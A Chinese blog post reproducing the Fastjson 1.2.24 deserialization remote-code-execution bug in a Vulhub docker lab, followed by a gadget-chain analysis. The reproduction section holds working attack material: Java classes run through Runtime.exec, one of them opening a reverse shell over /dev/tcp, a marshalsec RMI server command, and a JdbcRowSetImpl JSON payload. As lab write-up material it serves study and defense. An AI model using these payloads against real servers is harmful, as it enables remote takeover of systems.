一、环境搭建
1、安装docker
curl -fsSL https://get.docker.com | bash -s docker --mirror Aliyun
![![[Pasted image 20240122202459.png]]](https://i-blog.csdnimg.cn/blog_migrate/3d01117ffc2283b45fdeeb6d8663c350.png)
2、安装docker-compose
pip install docker-compose
![![[Pasted image 20240122203114.png]]](https://i-blog.csdnimg.cn/blog_migrate/6c00ac39aa62bc341b473fb09dadc474.png)
3、gitvulhub镜像
git clone https://github.com/vulhub/vulhub.git
![![[Pasted image 20240122203343.png]]](https://i-blog.csdnimg.cn/blog_migrate/eca2a7d5522900e5d66455ac889f687e.png)
4、进入指定目录启动环境
cd vulhub/fastjson/1.2.24-rce
docker compose up -d
![![[Pasted image 20240126050737.png]]](https://i-blog.csdnimg.cn/blog_migrate/d8e54592ee160dad3eeb78c70ceae559.png)
访问http://ip:8090
![![[Pasted image 20240126050919.png]]](https://i-blog.csdnimg.cn/blog_migrate/844299fff9efc22f5397cd87b6dcc788.png)
二、漏洞复现
1、复现过程
首先在dnslog获得一个dnslog
![![[Pasted image 20240126052639.png]]](https://i-blog.csdnimg.cn/blog_migrate/4d5fa91397e69733466e35a175c74920.png)
地址:http://www.dnslog.cn/
然后下载marshalsec
下载地址:https://github.com/RandomRobbieBF/marshalsec-jar
在该文件同文件夹下创建一个TouchFile.java文件
内容如下
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"ping", "xxx.dnslog.cn(刚开始获取的dnslog)"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
使用javac命令将其编译为TouchFile.class文件
![![[Pasted image 20240126051539.png]]](https://i-blog.csdnimg.cn/blog_migrate/1203c02a9f3f68e7f1910f70d4fbeed3.png)
![![[Pasted image 20240126051552.png]]](https://i-blog.csdnimg.cn/blog_migrate/eec9a5d70eaef9cc346f62df00aa10fc.png)
使用python3 -m http.server 任意端口(注意不要冲突)
![![[Pasted image 20240126051737.png]]](https://i-blog.csdnimg.cn/blog_migrate/77d1feb55838ab1aacf5f44ff6352d00.png)
开启marshalsec
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://ip:1111(刚刚开放的端口)/#TouchFile" 9999
打开bp在靶场页面抓包
![![[Pasted image 20240126052159.png]]](https://i-blog.csdnimg.cn/blog_migrate/0b887500a47d62555f1c265ae4b7aa6a.png)
发送到repeater
将get请求修改为post请求
添加Content-Type: application/json和payload
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://ip:9999/TouchFile",
"autoCommit":true
}
}
![![[Pasted image 20240126053123.png]]](https://i-blog.csdnimg.cn/blog_migrate/e8f4cc2057b74bea38bb5eabc0baf06b.png)
点击发送
然后去dnslog查看有没有响应
![![[Pasted image 20240126054307.png]]](https://i-blog.csdnimg.cn/blog_migrate/5cd78778e038333a270315d4f323be5a.png)
成功
创建文件
将TouchFile.java文件内容修改为以下代码
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/1111"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
然后编译成class文件,同样的操作发包
然后进入容器查看有没有创建成功
docker exec -it 容器id前四位 /bin/bash
![![[Pasted image 20240126054955.png]]](https://i-blog.csdnimg.cn/blog_migrate/a35ff87ba56ad4e070bbb828e67edd38.png)
成功
再来反弹一下shell
将TouchFile.java文件内容修改为以下代码
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime r = Runtime.getRuntime();
Process p = r.exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/ip/6666 0>&1"});
p.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
在kali开启监听
![![[Pasted image 20240126082857.png]]](https://i-blog.csdnimg.cn/blog_migrate/1e3681b85c062e74a6086924266d9335.png)
同样的操作,发包
![![[Pasted image 20240126060333.png]]](https://i-blog.csdnimg.cn/blog_migrate/845dc9a491fe070be465b5f0d150b2e5.png)
成功
2、工具推荐
marshalsec
![![[Pasted image 20240126051737.png]]](https://i-blog.csdnimg.cn/blog_migrate/dc690c2a88b1b3c5d1002f2164171eb1.png)
JNDI-Injection-Exploit
下载地址:https://github.com/welk1n/JNDI-Injection-Exploit
使用方法
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]
FastjsonScan
下载地址:https://github.com/a1phaboy/FastjsonScan
![![[Pasted image 20240126061708.png]]](https://i-blog.csdnimg.cn/blog_migrate/e0d3395c5c0602744332090df46c5391.png)
BurpSuite插件 – FastjsonScan
下载地址:https://github.com/pmiaowu/BurpFastJsonScan
点击extender
![![[Pasted image 20240126062250.png]]](https://i-blog.csdnimg.cn/blog_migrate/5d32534c1a6c7562731442832d285fb2.png)
点击add
![![[Pasted image 20240126062319.png]]](https://i-blog.csdnimg.cn/blog_migrate/4a6415727cfe77341cd2adc75f720769.png)
点击select file
![![[Pasted image 20240126062415.png]]](https://i-blog.csdnimg.cn/blog_migrate/e22a8766f1f63a767eab8456e708e825.png)
选择文件
![![[Pasted image 20240126062559.png]]](https://i-blog.csdnimg.cn/blog_migrate/129035226654fa9a2c6ad00be689663d.png)
然后点击next进行安装
安装成功
![![[Pasted image 20240126062622.png]]](https://i-blog.csdnimg.cn/blog_migrate/5925ebbc7be81807aa63a953addda08e.png)
![![[Pasted image 20240126062709.png]]](https://i-blog.csdnimg.cn/blog_migrate/239c08bf85c150750b4b00811f198a34.png)
三、漏洞分析
利用链流程
![![[Pasted image 20240126112136.png]]](https://i-blog.csdnimg.cn/blog_migrate/36691cafe13a0205959388b7d625c832.png)
进入deserialze后解析到key为_bytecodes时,调用parseField()进一步解析
![![[Pasted image 20240126105822.png]]](https://i-blog.csdnimg.cn/blog_migrate/7b83e753255d8fc7cae23386021504b1.png)
跟进parseField方法,对_bytecodes对应的内容进行解析
![![[Pasted image 20240126105832.png]]](https://i-blog.csdnimg.cn/blog_migrate/75ef1633376da82d1265314b04b4f075.png)
跟进FieldDeserializer#parseField方法
![![[Pasted image 20240126105843.png]]](https://i-blog.csdnimg.cn/blog_migrate/2c815cee9df44e18328799ec1b6b9c78.png)
解析出_bytecodes对应的内容后,会调用setValue()函数设置对应的值,这里value即为恶意类二进制内容Base64编码后的数据
继续跟进FieldDeserializer#setValue方法
![![[Pasted image 20240126105902.png]]](https://i-blog.csdnimg.cn/blog_migrate/0c33d5db0ebc6d0d478ccb282bc1c2f0.png)
这里使用了set方法来设置_bytecodes的值
接着解析到_outputProperties的内容
![![[Pasted image 20240126105914.png]]](https://i-blog.csdnimg.cn/blog_migrate/f4e2f3914c72f4ceb2a6981e4dc92731.png)
这里去除了_,跟进发现使用反射调用了com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()
![![[Pasted image 20240126105925.png]]](https://i-blog.csdnimg.cn/blog_migrate/1add778713b5bffb23ccf99849928f91.png)
跟进TemplatesImpl#getOutputProperties
![![[Pasted image 20240126105936.png]]](https://i-blog.csdnimg.cn/blog_migrate/af18330ba57938c806b58939a660d6a3.png)
跟进newTransformer方法
![![[Pasted image 20240126105947.png]]](https://i-blog.csdnimg.cn/blog_migrate/67db7487e76bd591ffdedac63c4704b8.png)
跟进getTransletInstance方法
![![[Pasted image 20240126105957.png]]](https://i-blog.csdnimg.cn/blog_migrate/27cc395a93cc84d23face86c10ea3b5f.png)
这里通过defineTransletClasses创建了TEMPOC类并生成了实例
![![[Pasted image 20240126110007.png]]](https://i-blog.csdnimg.cn/blog_migrate/1092eff7aac40e8e7beba3795f66a557.png)
进而执行TEMPOC类的构造方法
![![[Pasted image 20240126110015.png]]](https://i-blog.csdnimg.cn/blog_migrate/e2a11765517cad6fe76b51dac09e656c.png)
所以就执行了任意代码
四、参考文章
https://blog.csdn.net/Bossfrank/article/details/130100893
https://blog.csdn.net/hackzkaq/article/details/135825310
https://www.cnblogs.com/nice0e3/p/14601670.html#0x03-fastjson-templatesimpl%E9%93%BE-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90
https://xz.aliyun.com/t/8979?time__1311=n4%2BxuDgDBD90D%3DK0%3DG8DlxG2bm7KiIoEvNQeox&alichlgref=https%3A%2F%2Fcn.bing.com%2F#toc-8

2366

被折叠的 条评论
为什么被折叠?



